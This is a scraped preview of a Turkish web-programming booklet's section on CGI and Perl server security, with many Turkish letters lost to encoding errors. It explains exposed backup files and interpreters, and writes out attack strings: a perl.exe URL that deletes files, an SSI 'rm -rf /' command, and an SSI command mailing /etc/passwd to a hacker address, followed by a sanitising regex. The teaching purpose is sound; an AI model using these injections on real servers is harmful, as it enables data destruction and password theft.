62 - Server Gvenlii Web Server program, bir bilgisayarn ve...

Info iconThis preview shows page 1. Sign up to view the full content.

View Full Document Right Arrow Icon
This is the end of the preview. Sign up to access the rest of the document.

Unformatted text preview: Server Gvenlii Web Server program, bir bilgisayarn ve onun bal olduu an d dnyaya alan kaps ise CGI, d dnyann Web Servera giri kapsdr. CGI gvenlii, btn Web Servern gvenliidir. Eer kendi Web Servernz altryorsanz, program reticisinin nerdii gvenlik nlemlerini almanz gerekir. Web Server program bakas tarafndan altrlyorsa, muhtemelen sizin Perl programlarnzla Servera zarar vermenizin nne geilmi demektir. Ancak sizin sitenizin (veya teknik ifadesiyle, Serverda size ayrlm olan alann gvenlii yine sizden sorulur. Perl programlar, btn Script dilleri gibi kaynak kodunu kendi iinde barndrr; yani Perl dosyanzn tam metin olarak ktniyetli bir kiinin eline gemesi, programn ve dolaysyla sitenin zaaflarn ortaya kartr. Bir rnek verelim. Ziyaretilerinizin size gvenerek doldurduu formlarda elektronik posta adresi gibi, herkesin eline gemesini istemeyecekleri bilgiler bulunabilir; siz bu bilgileri, (bizim yukardaki rneklerde yer alan form_bilgileri.txt dosyas gibi) bir dosyada topluyor olabilirsiniz. Ben bu dosyann adn ve durduu yeri bilirsem, ve bunu Browsermn URL adres hanesine yazarsam, sizin Servernz tereddt bile etmeden bu dosyay bana gnderecektir. Benim bu dosyann adn bilmem ancak sizin Perl dosyasn tam metin olarak elime geirmemle mmkn olabilir. Perl dosyanzn ad, Form ieren HTML sayfanzda, FORM etiketinin ACTION hanesinde kaytl! Bu ismi Browsermn URL hanesine yazarsam, Web Server hata mesaj verir; nk Perl program kendisine bilgi gnderilmeden altrlm olaca iin hata oluacaktr. Fakat bir ok kii, CGI programlarn yeniledike, gncelletirdike veya dzelttike, eskisini .bak uzatmasyla Serverda tutmay tercih eder. Baz programlama editrleri de dosyalarn adna ~ iaretini ekleyerek yedeini kartrlar. Baz programclar, Perl metinlerinin bir de .txt srmn saklamay tercih ederler. Eer sizin Perl programn edinmeyi kafasna koymu bir kii nce bu tr uzatmalardan ie balayacaktr. Bir dier byk gvenlik ihlali dnyaya perl programnz altran Perl yorumlaycsnn (rnein perl.exenin) yerini ilan etmektir. Perl programlarnn ba tarafnda bunu belirten ifadeler olmas, Web iin asla zorunlu deildir. Herhangi bir formdan GET yoluyla Perl.exeye Perl komutu gnderiyorsanz (rnein: sizin bir Formunuzun istedii bilgi giderken kullancnn Browsermn adres hanesinde http://host.com/cgi-bin/perl.exe?form.pl gibi bir gnderi belirtisi grlyorsa) bu ktniyetli kiilere Browserlarnn adres hanesine u satr yazma davetiyesidir: http://host.com/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B Bu, bir PCde C:\>del c:\*.* komutunu vermek ve ondan sonra Y tuuna basmakla ayn sonucu verir! Perl yorumlaycsnn yerini Internet ziyaretisini anlamasna imkan vermemek gerekir. Bir dier nemli gvenlik ihlali arac Server Side Include denen ve <!-- ile --> arasnda Servera belirli komutlar icra etme, belirli programlar altrma imkan veren dzenlemedir. Giderek daha sayda Server yneticisi bu imkan kaldryor. Server bu tr Server Side Incvlude (SSI) komutlarn kabul ediyorsa, u komutan rrein bir Formun kullanc ad veya adresi olarak gelmesi iten bile deildir: <!--#exec cmd=/bin/rm rf / --> Bu komut da Unix ortamnda, DOSta C:\>del c:\*.* komutunu vermek ve ondan sonra Y tuuna basmak demektir. Veya SSI taklidi yapan yle bir komut: <!--#exec cmd=/bin/mail hacker@cracker.com < /etc/passwd --> Bu komutla bilgisayarnzdaki btn parolalar, Hackera elektronik mesaj olarak gnderilecektir. Bu kitaptaki rneklerimizde bir Formdan aldmz bilgileri $deger =~s/<!--(.|\n)*-->//g; deyimi ile bu tr komutlardan temizlediimizi grm olmalsnz. Fakat bu kitapk Web Server gvenliinin nasl salanacana deinebilmek iin ok kk; ve ou zaman Web Server gvenliini salamak CGI programcsnn deil, Server ynetmeninin grevidir. CGI programcs olarak bize den, en azndan Form bilgilerini ilemeye balarken, bir alanda olmas gerekmeyen karakterler varsa, onlar temizlemektir. rnein bir Formun isim ve elektronik adres hanelerindeters bl iaretinin bulunmas gerekmez! Bu alanlarda bu tr iaretler varsa, temizlenmesi yerinde olur. ...
View Full Document

Ask a homework question - tutors are online